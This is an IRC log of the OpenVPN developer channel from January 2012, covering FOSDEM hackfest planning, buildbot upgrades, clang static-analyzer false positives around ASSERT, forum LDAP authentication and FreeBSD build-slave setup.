snapshot 07:32 <@dazo> :) 07:32 <@dazo> ecrist: thx! 07:32 < waldner> even network pedantic, with CIDR classes have disappeared (luckily) 07:32 < waldner> but I regularly hear people talking about class A etc. 07:32 < waldner> (those same who used 192.1.1.0/24, so...) 07:36 < waldner> wonderful: one of the world's largest telco is asking us to change the IPsec encryption domain we put in the VPN application form (172.18.20.0/24) "because there's a high chance that it will conflict with some of their internal private network" (translated, roughtly) 07:37 < waldner> and they want us to use public IPs 07:37 < waldner> I just can't believe that 07:38 < waldner> ok, sorry for the ot and noise, better go to lunch now 10:15 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 11:04 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:04 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:03 -!- dazo is now known as dazo_afk 13:57 -!- Netsplit *.net <-> *.split quits: dguerri 13:57 -!- Netsplit over, joins: dguerri 18:49 -!- uuuppz [~uuuppz@78.129.207.46] has joined #openvpn-devel 18:51 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:01 < uuuppz> can someone remind me the name of dazo's auth module for openvpn? 19:02 < uuuppz> ah got it 19:02 < uuuppz> google++ 19:17 <+krzee> and 19:17 <+krzee> !dazo 19:17 <@vpnHelper> "dazo" is "eurephia" is http://www.eurephia.net/ 19:18 <+krzee> i can never remember how to spell it, lol 19:46 <@raidz> that always reminds me of urethra 21:22 <+krzee> lol 21:22 <+krzee> and reminds me of euphoria 21:25 <+krzee> oh god waldner, gl with dealing with them 21:25 <+krzee> sounds like that will suck 23:21 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:21 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Tue Jan 17 2012 00:44 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 04:31 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:36 -!- dazo_afk is now known as dazo 05:24 <@vpnHelper> RSS Update - wishlist: --inactive-tcp --inactive-udp --inactive-ip --inactive-nonip <http://forums.openvpn.net/topic9614.html> 05:37 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has quit [Ping timeout: 248 seconds] 10:30 -!- dazo is now known as dazo_afk 10:38 -!- dazo_afk is now known as dazo 13:15 -!- dazo is now known as dazo_afk --- Day changed Wed Jan 18 2012 02:58 -!- dazo_afk is now known as dazo 06:46 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 07:59 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:59 -!- mode/#openvpn-devel [+v krzie] by ChanServ 08:07 <@dazo> You know you've done too much openvpn development, when you enter the source tree directory to openvpn on reflex when starting to type 'cd ' .... 08:07 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 08:08 < ecrist> heh 09:02 <@cron2> heh :) 09:39 -!- Irssi: #openvpn-devel: Total of 16 nicks [7 ops, 0 halfops, 1 voices, 8 normal] 10:07 < waldner> krzee: it was worse than I thought, I asked them "then you guy tell us an IP range that we can use", they replied "any private range is likely to clash with some network of ours at some point, so you must use public IPs" 10:07 < waldner> look like a bunch of slackers to me 10:09 * dazo wonders how they came up with the conclusion that private IPs would crash at a future point, but public IPs will not cause any issues .... 10:09 < waldner> clash 10:09 < waldner> well, obviously 10:09 < waldner> they want to be free to use all of rfc1918 space for them, without bothering for external vpns 10:09 <@dazo> waldner: provide them with an IPv6 range ... that won't clash with first :-P 10:10 < waldner> I don't even want to think about that 10:10 <@dazo> hehehe 10:10 < waldner> we'd have to get the hoster to provide us with IPv6 (which they don't do yet) 10:10 < waldner> and I'm sure that even if we do that, $bigtelco would refuse 10:11 < waldner> so no we're forced to find extra public ipv4 addresses (easy these days...) 10:12 < waldner> my optimistic forecast is that we'll perhaps be able to find one, and we'll have to mount a horrible kludge of machines behind the vpn router that will use that only ip 10:17 <@dazo> waldner: 224.0.0.0/4 :-P 10:18 < waldner> I was thinking more in the 250.x.x.x range 10:19 < waldner> :) 11:01 -!- dazo is now known as dazo_afk 11:03 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 12:28 <@cron2> stack enough layers of NAT on it... 12:29 <@cron2> that's the way IPv4 must be done! Everbody is doing it, so it must be the right way! 12:29 <@cron2> (and yeah, since NAT is so cool, we must have it for IPv6 as well) 13:55 -!- Essobi [~Essobi@74-128-55-37.dhcp.insightbb.com] has joined #openvpn-devel 13:55 < Essobi> Afternoon guys. 13:58 < ecrist> fuck you 13:59 < ecrist> :) 14:14 < Essobi> :D 14:14 < Essobi> I loled at that window change. 14:14 < Essobi> I had some random FIPS guy email me a few weeks ago... 14:15 < Essobi> Someone in here's I'd suspect pointed him my way... Any clue whom that was? 14:28 < ecrist> nope, probably during a meeting, though. 15:56 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:12 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 16:14 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Client Quit] 17:37 < Essobi> ecrist: good point. --- Day changed Thu Jan 19 2012 02:38 <@mattock> I'll run security updates on all servers, so something (e.g. trac/forums authentication) might be down for a minute or two 03:01 <@mattock> all seems to be good 03:02 <@mattock> we've definitely seen an increase in number of registered users on community services... it's usually between 30-50 nowadays 03:02 <@mattock> previously it was 5-20 03:16 -!- dazo_afk is now known as dazo 03:34 -!- Intensity [6zNDP14Gi1@unaffiliated/intensity] has quit [Ping timeout: 255 seconds] 04:10 -!- Intensity [50OWyeK641@unaffiliated/intensity] has joined #openvpn-devel 04:36 -!- Intensity [50OWyeK641@unaffiliated/intensity] has quit [Ping timeout: 255 seconds] 04:47 <@dazo> mattock: should we have a meeting today? probably mainly to put some vague plans for what/where/how we will do at fosdem? 05:09 -!- Intensity [bgdh4rG9xt@unaffiliated/intensity] has joined #openvpn-devel 07:06 <@mattock> dazo: yeah, I think that's a good idea 07:10 <@dazo> mattock: one thing which could be good, would be to have a little hackfest ... where we basically only focus on fixing reported bugs .... to close down what we can close down here 07:10 <@dazo> (as a fosdem activity) 07:13 <@mattock> maybe a 2.3 -related hackfest culminating in a release? 07:13 <@mattock> now there's something here: https://community.openvpn.net/openvpn/wiki/Topics-2012-01-19 07:13 <@vpnHelper> Title: Topics-2012-01-19 – OpenVPN Community (at community.openvpn.net) 07:14 <@dazo> that could be a good idea 07:14 <@cron2> dazo: what happend to buildbot today? the error messages look hairy 07:14 <@dazo> cron2: I sent a built request with a wrong git commitish ... so re-ran with a proper one, which at quick glances looked fine 07:14 <@cron2> ah, this explains the weird messages 07:14 <@dazo> (all green in the end, and looking at some compile logs, no issues found) 07:15 <@cron2> perfect 07:35 <@mattock> here are some statistics about our apt/yum repo usage: http://pastebin.com/wfWkgdb5 07:36 <@mattock> not especially impressive, but at least we got ~30 people to use our snapshots repos 07:37 <@mattock> and obviously that number will climb up 07:37 <@mattock> 6 days since the repositories were announced 07:48 <@dazo> well, it's not bad - considering the time it's been public 07:48 <@mattock> yep 07:50 <@mattock> updated the snapshot docs, they were pretty outdated: https://community.openvpn.net/openvpn/wiki/TesterDocumentation#GettingOpenVPNsnapshots 07:50 <@vpnHelper> Title: TesterDocumentation – OpenVPN Community (at community.openvpn.net) 07:51 <@d12fk> i'd suggest an eye-to-eye windows patch scrutiny decathlon as well, as most of my patches got stuck at openvpn-devel 07:51 <@mattock> d12fk: ok, I'll make a note of that to the agenda lest we forget 07:51 <@d12fk> when are you guy arriving at brussels 07:52 <@mattock> added 07:52 <@d12fk> i'll be there fri afternoon 07:52 <@mattock> I'll there on Tuesday evening I think 07:52 <@mattock> until Sunday evening 07:52 <@d12fk> o_O 07:53 <@d12fk> thursday?! 07:53 <@mattock> tuesday 07:53 <@d12fk> mkay 07:53 <@mattock> I'll have a mini-vacation also 07:53 <@d12fk> i see =) 07:54 <@d12fk> i'll do the most obvious tourist sights on fri if you want to join me i'd be glad 07:54 <@d12fk> obvious: atomium, maenneken piss 07:55 <@d12fk> just so i've been there =) 07:55 <@mattock> d12k: :) 07:55 <@mattock> if I can control my fiancee, that'll work for me, too 07:55 <@mattock> :P 07:56 <@dazo> I 07:56 <@dazo> I'll arrive Thursday afternoon/evening ... and go back on Monday 08:01 <@d12fk> we want to invite you to dinner one night 08:01 <@d12fk> how about saturday? 08:02 <@d12fk> you == ovpn devs 08:02 <@d12fk> plus, we need a location 08:04 <@mattock> d12fk: ah, that'd be nice! 08:05 <@mattock> saturday is probably the best day 08:10 * cron2 will arrive Friday afternoonish, and agrees to "Saturday" (so I can invite my host for dinner on Friday, as a thank you for letting me stay there for free :) ) 08:45 -!- dazo is now known as dazo_afk 08:49 -!- dazo_afk is now known as dazo 10:32 -!- Praetorians [~praetoria@173-13-248-235-WashingtonDC.hfc.comcastbusiness.net] has joined #openvpn-devel 11:56 <@mattock> almost there... 11:58 * dazo too 12:01 <@cron2> meeting! 12:02 <@mattock> yep 12:02 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2012-01-19 12:04 <@vpnHelper> Title: Topics-2012-01-19 – OpenVPN Community (at community.openvpn.net) 12:04 <@mattock> so, we only have one major topic today... 12:04 <@mattock> which is "what should we do at FOSDEM/Bruessels OpenVPN-vise"? 12:05 <@mattock> three suggestions on the topic list already 12:06 <@dazo> The first suggestion on the agenda is mine .... as I see we have a lot of open issues in Trac, and I hope the main reason they're open are that people just don't have time to look at these things ... some of them are really easy to fix, at first glance 12:07 <@dazo> so a little hackfest where we could quickly spread some tasks, hack on them, get them acked quick ... that'd would be kind of ideal, I think 12:07 <@dazo> (at least to start on those with a current/expired milestones first, then look at those without milestones) 12:07 <@dazo> (future milestones, as in v2.4, is less important now) 12:08 <@cron2> I'm fine with that. Hacking together with folks is more fun than going at it alone. 12:08 <@dazo> yepp 12:08 <@cron2> (and I'll be away from home, so I have nothing to disturb :) ) 12:08 <@dazo> :) 12:08 <@mattock> :) 12:08 <@mattock> one thing we'd need to decide is a rough schedule for these hackfests 12:09 <@mattock> and maybe somebody would also like to visit FOSDEM, too :) 12:09 <@dazo> Yeah, I know there are some sessions I'd like to go too ... but there are things which are less (or not at all) interesting too 12:11 <@mattock> I'll check "what's left" for 2.3 alpha 12:12 <@dazo> For me, I'll give priority to OpenVPN times ... so I'll adapt things completely to that .... it's so much to look at there, so it's probably never going to be an ideal time for anyone 12:13 <@dazo> however, I'm the Thursday - Monday; so Friday and/or Sunday after fosdem are also options for me 12:13 <@mattock> me too 12:14 <@mattock> I'll be leaving at around 19:00 on Sunday I think 12:14 <@mattock> we can probably arrange our schedule when we meet 12:14 <@mattock> just keep the hackfests in mind 12:17 <@cron2> the keynote starts saturday 10:00 12:18 <@mattock> ...closing finished 2.3 alpha ticket 12:18 <@mattock> s 12:18 <@cron2> finding a place to do the hackfest could get interesting 12:19 <@dazo> closest pub? :-P 12:19 <@mattock> maybe a private room in a restaurant? or shamelessly go to someone's hotel room? 12:19 <@mattock> e.g. mine? :D 12:20 <@mattock> we have "free wifi (for extra charge)" there :P 12:20 <@dazo> works for me :) 12:20 <@mattock> btw. there are two of my tickets left for 2.3 alpha (tapinstall.exe -related and buildbot) 12:20 * cron2 doesn't go to hotel rooms with men 12:20 <@dazo> hehehe 12:21 < ecrist> lol 12:21 <@mattock> cron2: even ones with a minibar you don't have to pay? :P 12:21 < ecrist> cron2 - maybe dazo and mattock are really pretty? in the US we call the 'traps' 12:21 < ecrist> ;) 12:21 <@mattock> ecrist: +1 12:21 * dazo suddenly got suspicious now ........ 12:21 <@mattock> hahaha 12:22 <@mattock> anyways, back to 2.3 release hackfest idea... do you think it's doable: https://community.openvpn.net/openvpn/report/3 12:22 <@vpnHelper> Title: {3} Active Tickets by Milestone – OpenVPN Community (at community.openvpn.net) 12:23 <@dazo> most of those which are "2.3" related milestones, should be doable ... it's not that hefty stuff there 12:23 <@cron2> #169 is fixed already, isn't it? 12:23 <@dazo> there are a couple of ones, esp WinXP and suspend issues which is tricky 12:24 <@dazo> I'd say so ... or not? 12:24 * ecrist pokes raidz 12:24 <@cron2> I think jjo said that #97 is fixed with the new tap driver 12:24 <@raidz> hey hey 12:25 <@raidz> whats up ecrist? 12:25 < ecrist> any idea on the status of forum theme 12:26 <@dazo> cron2: I've understood it like that as well 12:26 <@mattock> close #97? 12:26 <@cron2> I just commented it and asked jjo to confirm 12:26 <@cron2> jjk 12:26 <@dazo> jjo is the other ipv6 guy :) 12:26 <@raidz> ecrist: they said it will be done on monday 12:26 < ecrist> :) 12:26 <@raidz> just spoke to them an hour ago 12:27 < ecrist> thanks 12:28 <@mattock> now, regarding automated testing infrastrure (one of my 2.3 tasks) 12:28 <@mattock> so, I tied it to the buildbot upgrade 12:28 <@mattock> which needs to be done anyways for a number of reasons 12:28 <@mattock> buildbots should be upgraded early next week to 0.8.5 (latest version) 12:29 <@mattock> I mean, the upgrade should be ready 12:29 <@mattock> if I'm lucky, I can get automated connection tests partially working by Bruessels 12:29 <@mattock> ecrist: is the to-be public test server still available? 12:30 <@dazo> that would help a lot! 12:30 < ecrist> yes 12:30 <@mattock> nice! 12:30 <@mattock> once the new buldbot version is running with same functionality as the current one, I'll move on to connectivity tests 12:30 * cron2 needs to setup a freebsd 7.4 build slave 12:30 <@mattock> that should not be too difficult, because I've solved that problem once already 12:31 <@cron2> (there seems to be major networking changes between 7 and 8, and I have some suspicious about OpenVPN there) 12:33 <@mattock> anyways, I think we should release first 2.3 alpha even if the connectivity tests are not 100% functional at release time... what do you think? 12:33 <@mattock> it's "alpha" after all 12:33 <@mattock> and it'd be nice to make the release in bruessels 12:34 <@dazo> mattock: please add on your famous todo list for buildbot ... to remove --disable-random-resolv arguments in configs 12:34 <@mattock> ah, will do 12:34 <@mattock> I would be useless without that TODO-list :D 12:34 <@dazo> that's a feature we wanted to remove slowly ... until James hit us with a patch which wasted our time :-P 12:35 <@mattock> removed the feature not so slowly, right? 12:35 <@dazo> yeah 12:36 <@dazo> well, it was removed, but also improved 12:36 <@cron2> any word from james about svn and git? 12:36 <@dazo> kind of ... their customers are beginning to push for IPv6 12:36 <@cron2> haha 12:36 <@mattock> also, I'll pave the way for AS + OpenVPN 2.3 12:36 <@dazo> so he says testing out 2.3 alpha in AS is an interesting idea for him ... 12:36 <@mattock> by taking the hit myself 12:37 <@mattock> so, once this 2.3 release thingy is past us, I'll start testing if AS would work with 2.3 alpha/beta/rc/... 12:37 <@mattock> then, when things break, I'll file bug reports to james 12:38 < ecrist> I need to find new hosting or something. 12:38 <@mattock> I think that's the best way to move James away from SVN and his own branch 12:39 <@mattock> make him dependant on 2.3's features :P 12:39 <@mattock> s/ant/ent/g 12:39 <@dazo> agreed 12:40 <@dazo> and when he is lacking features there which he had in his AS version ... he should be able to forward port those patches fairly simple 12:40 <@mattock> yep 12:40 <@mattock> then we have the last hackfest... d12fk's windows patch merge 12:41 <@mattock> probably not a biggie when all of our bright minds are in the same physical place 12:41 <@dazo> Yeah, that one requires some preparations from my side ... as it was a lengthier discussion on some of these patches 12:41 <@dazo> (which involved Alon as well) 12:42 <@dazo> so I want to step carefully there, which I also need to as I'm no Windows developer (which my patches have proved for each Windows patch I've sent) 12:42 <@mattock> :) 12:43 <@mattock> well, I don't think any of those patches are blockers for 2.3 alpha 12:43 <@mattock> so, if we can sort out a good solution and send it to the ml, that's goog enough, right? 12:44 <@mattock> good 12:44 <@dazo> I think so 12:44 <@dazo> d12fk is coming, right? 12:44 <@mattock> what about some social events? 12:44 <@mattock> dazo: so I understood 12:44 <@mattock> wasn't he inviting us for dinner on saturday? 12:44 <@dazo> goodie! we need someone who knows windows far better 12:44 <@dazo> oh true! 12:47 <@mattock> what about other social events? I'd like to taste some of that famous Belgian beer... 12:47 <@dazo> I'm no real beer person, but I'm in to taste something :) 12:47 * dazo suddenly understood why mattock suggested his hotel room .... no need to go to hotel room with laptop before going out .... 12:48 <@mattock> well, good point, wasn't thinking about that, though :) 12:49 <@mattock> maybe a hotel has a conference room for rent or something 12:49 <@mattock> not sure how much that'd cost 12:49 < ecrist> often, they'll let a guest use it for free 12:49 < ecrist> or a business center 12:49 <@dazo> and iirc, mattock and I stay at the same hotel ... 12:49 <@dazo> so that might even speak in favour of being nice too 12:51 <@mattock> anyways, I can take a quick look at what places we could use for the hackfests 12:51 <@mattock> regarding which... how much time are you guys willing to allocate for those? 12:52 <@mattock> I'll be there on Tuesday, so I can spend the entire weekend hacking if necessary :P 12:52 <@cron2> I want to go and visit a few fosdem talks, but besides that, I've seen brussels and can also spend the rest of the weekend 12:53 <@dazo> I basically got Friday and Monday for sightseeing, so I can spend the weekend for hacking 12:53 <@mattock> I can send $fiancee on her way, so that she does not have to stay with the nerds :P 12:53 <@dazo> clever :) 12:54 <@mattock> so maybe most of Saturday (minus some fosdem) and most of Sunday (minus some fosdem) 12:54 <@mattock> minus socializing, of course 12:54 <@mattock> or, as long as we can take it :) 12:54 <@cron2> yes 12:55 <@mattock> I think we'll manage to do quite a lot of stuff 12:55 <@mattock> some other topics we'd like to discuss? 12:56 <@mattock> ecrist: did you get your signed GPG key? 12:56 <@mattock> and was it signed properly? 12:58 <@dazo> sounds like a plan to me 12:58 <@mattock> excellent! 12:58 <@mattock> I'll write summary tomorrow 12:58 <@mattock> I hope I get basic buildbot setup more or less tackled tomorrow 12:59 <@mattock> see you later, nice to have a meeting after a long pause! 12:59 <@mattock> 6th Dec 2011 was the last one 12:59 <@dazo> thx! :) 13:20 -!- dazo is now known as dazo_afk 13:29 < ecrist> mattock: I think so 13:29 < ecrist> haven't looked 13:30 < ecrist> seems not 13:30 < ecrist> it's just signed by dazo 14:30 -!- Praetorians [~praetoria@173-13-248-235-WashingtonDC.hfc.comcastbusiness.net] has quit [] 15:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:08 -!- lbalbalba [lbalbalba@dhcp-077-251-003-044.chello.nl] has joined #openvpn-devel 15:09 < lbalbalba> hi 15:09 < lbalbalba> I have been playing around with the clang static analyzer (http://clang-analyzer.llvm.org/) 15:09 <@vpnHelper> Title: Clang Static Analyzer (at clang-analyzer.llvm.org) 15:09 < lbalbalba> running it on openvpn, I got these results, people may want to look at ? : 15:09 < lbalbalba> http://lbalbalba.x90x.net/ccc-analyzer/clang%20v3.1%20trunk%20rev.%20148484/scan-build-openvpn-2.2.2/ 15:09 <@vpnHelper> Title: openvpn-2.2.2 - scan-build results (at lbalbalba.x90x.net) 15:09 -!- lbalbalba [lbalbalba@dhcp-077-251-003-044.chello.nl] has quit [Quit: HydraIRC -> http://www.hydrairc.com <- The professional IRC Client :D] 15:12 -!- lbalbalba [lbalbalba@dhcp-077-251-003-044.chello.nl] has joined #openvpn-devel 15:16 < lbalbalba> crap comp freeze .... :( 15:21 <@cron2> huh 15:21 <@cron2> I'm just looking at some of the output, and it's just bogus 15:21 <@cron2> it's complaining about the sequence 15:21 <@cron2> ASSERT(p); 15:21 <@cron2> CLEAR(*p); 15:22 <@cron2> that "p could be null" in the CLEAR() case - but that's exactly why there is an ASSERT(p) before it 15:23 <@cron2> then we have 15:24 <@cron2> ASSERT(o->push_list.tail); 15:24 <@cron2> o->push_list.tail->next = e; 15:24 <@cron2> and it warns 15:24 <@cron2> Access to field 'next' results in a dereference of a null pointer (loaded from field 'tail') 15:24 <@cron2> what makes it assume that a) tail is null, and b) ignore the ASSERT call which is verifying(!) that it is not null 15:25 <@cron2> ah 15:26 <@cron2> I think ASSERT() is generally confusing the tool, because all the warnings I've looked at are assuming that the argument to ASSERT() would be NULL... 15:27 < lbalbalba> thanks for taking the time to look at it, its appreciated. i guess im off to the llvm/clang channel now, to file a bug report on their tool 15:29 <@cron2> well, thanks for checking openvpn :) - it's always welcome to have more eyes (even electronic ones) check the code 15:32 < lbalbalba> no problem. oh, just as a quick check: does running a plain ./configure ; make produce a release or debug build ? 15:34 < lbalbalba> cut n paste from the llvm channel : 15:34 < lbalbalba> In a release build the ASSERT compiles down to "(void)p" which probably still triggers the SA's "this could be null" sense but since there's no check anymore, it sees that the CLEAR could be reacehd with a null 'p' 15:34 < lbalbalba> Well, I suppose even in a debug build ASSERT might compile to assert(p) which still triggers the "this could be null" but without understanding that the assert will be noreturn when the condition is false 15:44 < lbalbalba> cron2: what exact line were you looking at when describing the scenario's above ? 15:46 -!- lbalbalba [lbalbalba@dhcp-077-251-003-044.chello.nl] has quit [Quit: starman leave] --- Day changed Fri Jan 20 2012 00:59 <@andj> Hi, sorry I missed the meeting yesterday 01:00 <@andj> Just a quick heads-up: I'll be arriving somewhere Friday evening, and staying until Sunday evening 01:29 <@andj> https://community.openvpn.net/openvpn/wiki/Topics-2012-01-19 01:29 <@vpnHelper> Title: Topics-2012-01-19 – OpenVPN Community (at community.openvpn.net) 01:29 <@andj> oops, sorry, copy-paste error 01:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 02:05 <@mattock> ecrist: the key I sent you in an email? 02:37 <@d12fk> mattock: i think there are two rooms for ppl meeting upat fosdem, no need to kill your mini bar 02:38 <@mattock> :D 02:38 <@mattock> a room at FOSDEM would be nice indeed 02:38 <@d12fk> http://fosdem.org/2012/news/meeting-rooms 02:38 <@vpnHelper> Title: Meeting Rooms | fosdem.org (at fosdem.org) 02:39 <@d12fk> doh, only one hour per day 02:39 <@mattock> well, it's not enforced 02:39 <@mattock> if the rooms are not full all the time, they might work 02:39 <@d12fk> fosdem is so crowded, they will tar and feather us 02:40 <@mattock> that'd be an experience for sure :P 02:40 <@d12fk> lol 02:40 <@mattock> I'm just about to send an email to my hotel and ask about the s.c. "business center" 02:41 <@mattock> if it would fit the bill 02:42 <@d12fk> http://fosdem.org/2012/schedule/room/lameere and http://fosdem.org/2012/schedule/room/chavanne have 500+ seats each 02:42 <@vpnHelper> Title: Lameere | fosdem.org (at fosdem.org) 02:42 <@d12fk> there'll be five for us i guess 02:44 <@d12fk> but then there'll be a speaker all of the time, that wont work 02:47 <@d12fk> but they have an additional building this year 02:47 <@d12fk> chances are there we'll find some space then i guess 02:48 <@d12fk> is there a secret code agreed upon so we recognize each other btw? 02:55 <@mattock> demarcation? 03:15 <@mattock> ok, mailed the hotel about the business centre 03:15 <@mattock> I've seen some pretty crappy "business centres" so I wouldn't hold my breath 03:15 <@mattock> then again, I guess there are lots of businessmen in Bruessels, so it might be ok 03:50 <@mattock> new buildmaster seems to run ok 03:50 <@mattock> I switched to the built-in GitPoller changesource, as it makes things much simpler 03:50 <@mattock> my own GitMaildirSource required way more tweaks on the master side 03:51 <@mattock> + it can break fairly easily due to parsing issues 03:52 <@mattock> I'll attach one of my new Fedora 16 VMs to the master and see what happens 04:04 <@andj> I'm pretty sure we can find a spot somewhere :) 04:04 <@mattock> yep, no problem 04:04 <@mattock> if nothing else, a cafe with wlan 04:04 <@andj> I'd prefer to be at FOSDEM itself though, makes it easier to pop out for a talk 04:05 <@andj> I have a personal small project: "port openvpn to polarssl v1.1" 04:06 <@andj> and the new RNG in there, using the code we already have here for OpenVPN-NL 04:53 <@mattock> new buildbot version seems to choke on umlauts (e.g. in "Your name" when forcing a build") 04:53 <@mattock> interesting 04:53 <@mattock> otherwise I got a buildmaster with to F16 buildslaves running now 04:54 <@mattock> first build failed at git phase, I'll debug that after lunch 06:00 -!- dazo_afk is now known as dazo 06:36 <@mattock> build passed, failure was due to a git-related bug in buildbot 06:56 <@dazo> mattock: you can sign up for one hour, and then I sign up for the following hour on those meeting rooms :-P 06:57 <@mattock> dazo: you mean fosdem rooms? 06:57 <@dazo> yeah :) 06:57 <@mattock> that wouldn't be proper, would it? :D 06:57 <@dazo> Did I claim it was proper? ;-) 06:57 <@mattock> nope :P 06:58 <@mattock> anyways... new buildbot now runs (inside my LAN) 06:58 <@dazo> nicey! 06:58 <@mattock> besides connectivity testing, all that's missing is a new public server and a small script to launch the buildmaster/buildslave at boot 08:16 < ecrist> mattock: I *do* have your signature, and have updated the MIT keyserver with the signature. GnuPG's keyserver seems to not want to work for me today 10:19 <@mattock> ecrist: ah, ok 10:19 < ecrist> thanks 10:19 <@mattock> np 10:20 < ecrist> mattock: I'm considering not rolling the forum to ldap 10:20 < ecrist> which sucks, really 10:20 <@mattock> what is the issue? 10:20 < ecrist> my thoughts on long-term support 10:21 < ecrist> i.e. if I get hit by a bus tomorrow will anyone here be able to maintain my ldap patch to vb 10:21 <@mattock> are you going to get hit by a bus in the near future? :P 10:22 < ecrist> I talked to the guy that manages the freebsd forum, and they use the built-in auth only, for similar reasons. 10:22 < ecrist> hell, if I have anything to say about it, I'm going to live forever. 10:22 <@mattock> what about user account synchronization? 10:22 <@mattock> instead of LDAP auth 10:23 <@mattock> username + password + email 10:23 <@mattock> LDAP -> vBulletin 10:24 <@mattock> it just seems terrible waste (and an inconvenience for our users) to have to have several user accounts 10:25 <@mattock> also, if there ever is a need to move away from vBulletin, password hashing scheme might not be compatible with the new forum software 10:25 <@mattock> like it was with phpbb 10:25 <@mattock> I mean, same as with phpbb 10:26 <@dazo> to be very honest, I doubt I'll register a forum account if I need to maintain one more .... I'm not active enough in that forum for that to make sense for me 10:32 <@mattock> also, should something unexpected happen to OpenVPN Tech, ecrist still has backups of the LDAP directory which allows recreating a replacement server (with user accounts) pretty quickly 10:32 < ecrist> yeah 10:32 < ecrist> I"m not 100%, just throwing an idea out there 10:33 < ecrist> I'm not thrilled about multiple accounts, either 10:33 <@mattock> is vBulletin LDAP auth working ok otherwise? 10:33 <@dazo> ecrist: is there a reason it's not possible to get your LDAP changes upstream? 10:33 <@mattock> my thoughts exactly... 10:33 < ecrist> dazo: tried that, they don't want it 10:33 <@mattock> even if you release it as public domain? 10:33 < ecrist> the existing plugins are hacky and unsupported 10:33 < ecrist> yes 10:34 <@mattock> strange 10:34 < ecrist> agreed 10:34 < ecrist> I'll just forge ahead, then, and make it as maintainable as possible 10:34 <@mattock> can you publish it (legally)? 10:34 < ecrist> of course, why not? 10:35 <@mattock> copyright reasons... not sure if they apply if it's just a patch/plugin 10:35 <@dazo> ecrist: I understand your concern about maintainability of additional changes in the hit-by-bus scenario ... but if it can at least be document well, what you've done and how (providing a patch file?) ... I think it is sustainable for now 10:37 < ecrist> ok 10:38 < ecrist> I can document 10:45 <@mattock> ecrist: I was wondering if making the LDAP plugin OSS would be doable? 10:46 <@mattock> that'd help solve the maintainability issue, if it's compatible with vBulletin EULA (or whatever) 10:46 < ecrist> yes, I can 10:46 < ecrist> and they even have a large community around it 10:46 < ecrist> that's where I've found other ldap plugins. seems nobody knows what they're doing wrt ldap, though 10:50 <@mattock> so other plugins are just quick hacks? 10:51 < ecrist> for the most part 10:51 < ecrist> vb has an extensive plugin hook system 10:51 < ecrist> that part isn't hard 10:51 < ecrist> the plugin I originally wrote depended on a new pair of hooks, which vb refused to add 10:59 <@mattock> what did those hooks do? 11:04 < ecrist> just added plugin code execution at a couple specific places 11:05 < ecrist> I'll just rewrite my plugin to fit their model 11:05 * ecrist poofs for lunch 11:36 <@mattock> ecrist: sounds good! 11:36 <@mattock> thanks! 11:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:33 -!- dazo is now known as dazo_afk 14:41 -!- Essobi [~Essobi@74-128-55-37.dhcp.insightbb.com] has quit [Read error: Connection reset by peer] 16:25 -!- lbalbalba [lbalbalba@dhcp-077-251-003-044.chello.nl] has joined #openvpn-devel 16:52 -!- lbalbalba [lbalbalba@dhcp-077-251-003-044.chello.nl] has left #openvpn-devel [] 23:24 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] --- Day changed Sat Jan 21 2012 00:12 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:24 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 02:45 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:30 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] --- Day changed Sun Jan 22 2012 09:04 <@cron2> mattock: could you please put cron2-fbsd74 in the "may use community openvpn" group? 09:04 <@cron2> building a new buildslave, freebsd74/amd64 09:04 <@mattock> cron2: ok 09:06 <@mattock> done 09:09 <@cron2> gnaaa 09:09 <@cron2> Jan 22 17:08:56 fbsd74 openvpn[2326]: Sorry, 'Auth' password cannot be read from a file 09:09 <@cron2> all the ready-made packages are built without --save-auth-password (or whatever the option is called). grrr. 09:12 <@mattock> which packages? 09:12 <@cron2> the official for freebsd 7 09:12 <@mattock> ah 09:12 <@mattock> at least on FreeBSD 8.x you can select to switch --enable-password-save on during build 09:12 <@cron2> not that I object to compiling my own openvpn, but I wanted to have "what is needed to build" installed from package 09:13 <@cron2> yes, if you build from ports, but I didn't want to - there are binary packages, and that speeds up things a lot (and reduces disk usage on the VM, because you don't need the whole ports infrastructure) 09:14 <@cron2> mattock: any specific new instructions for the new buildbot version? 09:14 <@mattock> it's still the old one, the new one is still in my own LAN 09:14 <@mattock> I'll setup the new public server next week 09:15 <@mattock> the coming week (starting tomorrow) 09:15 <@cron2> shall I wait for that, and install the new version right away, or install the old one? 09:15 <@mattock> the new buildbot will be version 0.8.5 09:16 <@mattock> I think you should install buildbot 0.8.5 instead of 0.7.12... it might work even with the old buildmaster 09:16 <@mattock> provided it tries to be backwards compatible 